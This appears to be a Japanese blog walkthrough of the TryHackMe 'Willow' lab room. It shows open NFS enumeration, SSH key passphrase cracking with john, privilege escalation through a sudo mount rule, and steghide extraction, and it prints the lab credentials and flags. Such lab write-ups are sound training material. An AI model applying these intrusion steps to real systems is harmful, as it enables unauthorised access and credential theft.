0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Willow:Walkthrough

Posted at

概要

TryHackMe「Willow」のWalkthroughです。

Task1

Q1.User Flag:

Hint.https://muirlandoracle.co.uk/2020/01/29/rsa-encryption/

ポートスキャンを実行します。

PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   1024 43:b0:87:cd:e5:54:09:b1:c1:1e:78:65:d9:78:5e:1e (DSA)
|   2048 c2:65:91:c8:38:c9:cc:c7:f9:09:20:61:e5:54:bd:cf (RSA)
|   256 bf:3e:4b:3d:78:b6:79:41:f4:7d:90:63:5e:fb:2a:40 (ECDSA)
|_  256 2c:c8:87:4a:d8:f6:4c:c3:03:8d:4c:09:22:83:66:64 (ED25519)
80/tcp    open     http    Apache httpd 2.4.10 ((Debian))
|_http-title: Recovery Page
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp   open     rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100003  2,3,4       2049/udp   nfs
|   100003  2,3,4       2049/udp6  nfs
|   100005  1,2,3      33148/tcp6  mountd
|   100005  1,2,3      45645/udp   mountd
|   100005  1,2,3      49757/udp6  mountd
|   100005  1,2,3      54486/tcp   mountd
|   100021  1,3,4      37224/tcp   nlockmgr
|   100021  1,3,4      38857/udp   nlockmgr
|   100021  1,3,4      49139/tcp6  nlockmgr
|   100021  1,3,4      58066/udp6  nlockmgr
|   100024  1          36778/tcp   status
|   100024  1          42993/udp   status
|   100024  1          49715/tcp6  status
|   100024  1          60302/udp6  status
|   100227  2,3         2049/tcp   nfs_acl
|   100227  2,3         2049/tcp6  nfs_acl
|   100227  2,3         2049/udp   nfs_acl
|_  100227  2,3         2049/udp6  nfs_acl
2049/tcp  open     nfs     2-4 (RPC #100003)

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 6.7p1
80 http Apache/2.4.10
111 rpcbind
2049 nfs

80番ポートにアクセスすると、数字の羅列が表示されました。

image.png

CyberchefのFrom Hexでデコードすると、willowアカウントのSSHの秘密鍵が、暗号化された状態で表示されました。

image.png

Hey Willow, here's your SSH Private key -- you know where the decryption key is!

ターゲットマシンのNFSサービスに移り、マウント可能なパスを列挙すると、/var/failsafeが可能だと分かりました。

$ showmount -e 10.10.158.124                      
Export list for 10.10.158.124:
/var/failsafe *

/var/failsafeをローカルにマウントすると、rsa_keysを発見しました。

$ sudo mkdir /mnt/Willow
$ sudo mount 10.10.158.124:/var/failsafe /mnt/Willow
$ ls -la /mnt/Willow 
total 12
drwxr--r-- 2 nobody nogroup 4096 Jan 30  2020 .
drwxr-xr-x 4 root   root    4096 Oct 24 08:50 ..
-rw-r--r-- 1 root   root      62 Jan 30  2020 rsa_keys

ファイルの中には、RSAの公開鍵ペアと秘密鍵ペアが記載されていました。

$ cat /mnt/Willow/rsa_keys                           
Public Key Pair: (23, 37627)
Private Key Pair: (61527, 37627)

下記サイトで、RSA暗号化されているSSH秘密鍵の復号をします。

復号に成功し、SSH秘密鍵を得られました。

image.png

パスフレーズが設定されているので、特定します。

$ ssh2john dec_rsa_key > id_hash.txt

$ john id_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

wildflower       (dec_rsa_key)

パスフレーズが判明したので、SSH接続に成功しました。

$ ssh -o 'PubkeyAcceptedKeyTypes +ssh-rsa' -i dec_rsa_key willow@10.201.81.160
Enter passphrase for key 'dec_rsa_key': 




        "O take me in your arms, love
        For keen doth the wind blow
        O take me in your arms, love
        For bitter is my deep woe."
                 -The Willow Tree, English Folksong




willow@willow-tree:~$

/home/willow/user.jpgにフラグが記載されています。

image.png

A.THM{beneath_the_weeping_willow_tree}

Q2.Root Flag:

Hint.Where, on a Linux system, would you first look for unmounted partitions?

sudo -lを実行すると、root権限で/dev配下をマウント可能だと分かりました。

willow@willow-tree:~$ sudo -l
Matching Defaults entries for willow on willow-tree:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User willow may run the following commands on willow-tree:
    (ALL : ALL) NOPASSWD: /bin/mount /dev/*

/dev/を探索すると、hidden_backupという怪しいディレクトリを発見しました。

willow@willow-tree:~$ ls -la /dev/

brw-rw----   1 root disk    202,   5 Sep 14 06:26 hidden_backup

さらに、/mnt/credsが作成されていると分かりました。

willow@willow-tree:~$ ls -la /mnt
total 12
drwxr-xr-x  3 root root 4096 Jan 30  2020 .
drwxr-xr-x 23 root root 4096 Jan 30  2020 ..
drwxr-xr-x  2 root root 4096 Jan 30  2020 creds
willow@willow-tree:~$ ls -la /mnt/creds/
total 8
drwxr-xr-x 2 root root 4096 Jan 30  2020 .
drwxr-xr-x 3 root root 4096 Jan 30  2020 ..

/mnt/creds/dev/hidden_backupをマウントします。

willow@willow-tree:~$ sudo /bin/mount /dev/hidden_backup /mnt/creds/

結果、/mnt/creds/creds.txtからwillowrootのパスフレーズを得られました。

willow@willow-tree:~$ cat /mnt/creds/creds.txt 
root:7QvbvBTvwPspUK
willow:U0ZZJLGYhNAT2s

得られたパスフレーズを使用し、rootアカウントに昇格出来ました。

willow@willow-tree:~$ su
Password: 
root@willow-tree:/home/willow# whoami
root

/root/root.txtはルートフラグではないようです。

root@willow-tree:/home/willow# cat /root/root.txt 
This would be too easy, don't you think? I actually gave you the root flag some time ago.
You've got my password now -- go find your flag!

先ほど入手したuser.jpgのステガノグラフィーを調べると、rootのパスフレーズを使用することでroot.txtを抽出できました。

$ steghide extract -sf ./user.jpg                                 
Enter passphrase: 
wrote extracted data to "root.txt".

抽出したroot.txtからルートフラグを入手できました。

$ cat root.txt                              
THM{find_a_red_rose_on_the_grave}

A.THM{find_a_red_rose_on_the_grave}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?